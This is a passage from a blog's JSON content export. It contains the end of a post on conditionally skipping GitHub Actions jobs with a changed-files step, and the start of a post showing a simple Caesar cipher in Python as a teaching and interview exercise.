'*'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e - '*/**'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e - '!README.md'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e - '!.gitignore'\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThe \u003ccode\u003esrc\u003c/code\u003e is just a key selection I made here. You can have many groups of\nfiles like \u003ccode\u003etests\u003c/code\u003e, \u003ccode\u003edocs\u003c/code\u003e, etc. and conditionally do things if each of them\nchanged.\u003c/p\u003e\n\u003cp\u003eSo from our example, this step will generate output we can use \u003ccode\u003esteps.changed-files-yaml.outputs.src_any_changed\u003c/code\u003e\nthat is either \u003ccode\u003etrue\u003c/code\u003e or \u003ccode\u003efalse\u003c/code\u003e. To use this we can use the \u003ccode\u003eif\u003c/code\u003e conditional\nblock on our jobs.\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003esteps\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esteps.changed-files-yaml.outputs.src_any_changed == 'true'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e run\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e earthly \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e +ci-terraform-lint \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e --TERRAFORM_VERSION=${{ env.RTX_TERRAFORM_VERSION }}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eThis will then skip linting if we did not change any terraform and the job will\nbe marked successful!\u003c/p\u003e\n\u003ccenter\u003e\n\u003cimg src=\"/images/posts/github_skip_required_checks/skipped_checks.png\"\u003e\n\u003c/center\u003e\n\u003cp\u003eThis can be confusing sometimes and the people you work with (or future you!)\nmay wonder why these critical checks are being skipped. I like to include\na message with the decision that was made so it is obvious that we wanted to skip\nthem:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e- \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esteps.changed-files-yaml.outputs.src_any_changed == 'false'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e run\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo \"No terraform files changed\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003cp\u003eWhich will output:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003e✅ \"No terraform files changed\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eRight next to the skipped job which is exactly what we wanted to see! So the end\nresult would look something like this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"yaml\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"yaml\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003eon\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e pull_request\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003ejobs\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e terraform-lint\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e runs-on\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eubuntu-22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e steps\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003euses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eactions/checkout@v3\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003ename\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003eCheck if real files changed\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e id\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003echanged-files-yaml\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e uses\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003etj-actions/changed-files@v40\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e with\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e files_yaml\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e src:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e - '*'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e - '*/**'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e - '!README.md'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e - '!.gitignore'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esteps.changed-files-yaml.outputs.src_any_changed == 'true'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e run\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e earthly \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e +ci-terraform-lint \\\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e --TERRAFORM_VERSION=${{ env.RTX_TERRAFORM_VERSION }}\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e - \u003c/span\u003e\u003cspan style=\"color:#8DDB8C\"\u003eif\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003esteps.changed-files-yaml.outputs.src_any_changed == 'false'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#8DDB8C\"\u003e run\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e|\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#96D0FF\"\u003e echo \"No terraform files changed\"\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/figure\u003e\n\u003ch1\u003eConclusion\u003c/h1\u003e\n\u003cp\u003eHopefully with this you can start speeding up your github actions and making the\ndeveloper experience enjoyable!\u003c/p\u003e","category":"Development","date":"2023-10-29T00:00:00Z","tags":["git","github"],"title":"Speed up github actions with conditional jobs, even with required checks"}]},"Interviews":{"count":2,"posts":[{"id":["old","caesar_cipher_in_python"],"path":"old/caesar_cipher_in_python","contentHtml":"\u003cp\u003eI'm currently teaching my wife to code and one of the problems that we\nworked on to teach her some fundamental programming concepts was\nre-implementing the caesar cipher in python. It was fun not only to code\nbut to also start sending each other \"secret\" messages!\u003c/p\u003e\n\u003cp\u003eThe caesar cipher is a rather simple encoding, you just shift the\nalphabet a certain amount of characters. For example, if you are using a\nshift of 2:\u003c/p\u003e\n\u003cpre\u003e\u003ccode\u003ea =\u003e c\nb =\u003e d\ny =\u003e a\nz =\u003e b\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eUsing this as an interview type question would provide a few interesting\nproblems and give you a good perspective on how good a developers\nproblem solving skills are and how knowledgeable they are in the\nlanguage of their choice.\u003c/p\u003e\n\u003cp\u003eThe first issue is to handle the beginning and end of the alphabet, if\nyou are encoding 'z' then you will have to start your shift on a. The\nsecond problem is to only encode letters since there was no ascii table\nto define in what order characters are shifted back in those times.\u003c/p\u003e\n\u003cp\u003eWithout using too much of the built in python niceties you could do\nsomething similar to this:\u003c/p\u003e\n\u003cfigure data-rehype-pretty-code-figure=\"\"\u003e\u003cpre style=\"background-color:#22272e;color:#adbac7\" tabindex=\"0\" data-language=\"python\" data-theme=\"github-dark-dimmed\"\u003e\u003ccode data-language=\"python\" data-theme=\"github-dark-dimmed\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e#!/usr/bin/python\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e decode_shift_letter\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(current_ord, start, end, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u0026#x3C;\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e start:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e new_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (current_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 26\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e) \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e chr\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(new_ord)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e else\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e chr\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(current_ord\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eshift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e encode_shift_letter\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(current_ord, start, end, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e end:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e new_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (current_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 26\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e) \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e chr\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(new_ord)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e else\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e chr\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(current_ord\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003eshift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e decode\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(input, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e modify_input(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, shift, decode_shift_letter)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e encode\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(input, shift):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e modify_input(\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003einput\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e, shift, encode_shift_letter)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e modify_input\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(input, shift, shift_letter):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e new_sentence \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e ''\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e for\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e letter \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003ein\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e input\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e # we only encode letters, random characters like +!%$ are not encoded.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e # Lower and Capital letters are not stored near each other on the\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#768390\"\u003e # ascii table\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e lower_start \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'a'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e lower_end \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'z'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e upper_start \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'A'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e upper_end \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'Z'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ord\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(letter)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e lower_start \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eand\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u0026#x3C;=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e lower_end:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e new_sentence \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e+=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift_letter(current_ord, lower_start, lower_end, shift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e elif\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e upper_start \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003eand\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e current_ord \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u0026#x3C;=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e upper_end:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e new_sentence \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e+=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift_letter(current_ord, upper_start, upper_end, shift)\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e else\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e new_sentence \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e+=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e letter\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e new_sentence\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e get_shift\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e():\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e try\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e int\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#F69D50\"\u003eraw_input\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e(\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'What shift would you like to use?\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\\n\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e'\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e))\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e except\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e ValueError\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e:\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e print\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'Shift must be a number'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e get_shift()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e if\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e not\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e (shift \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u003e\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 0\u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e and\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e\u0026#x3C;=\u003c/span\u003e\u003cspan style=\"color:#6CB6FF\"\u003e 25\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e):\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#6CB6FF\"\u003e print\u003c/span\u003e\u003cspan style=\"color:#96D0FF\"\u003e 'Shift must be between 1 and 25'\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift \u003c/span\u003e\u003cspan style=\"color:#F47067\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e get_shift()\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003e return\u003c/span\u003e\u003cspan style=\"color:#ADBAC7\"\u003e shift\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color:#F47067\"\u003edef\u003c/span\u003e\u003cspan style=\"color:#DCBDFB\"\u003e main\u003c/span\u003e\u003cspan 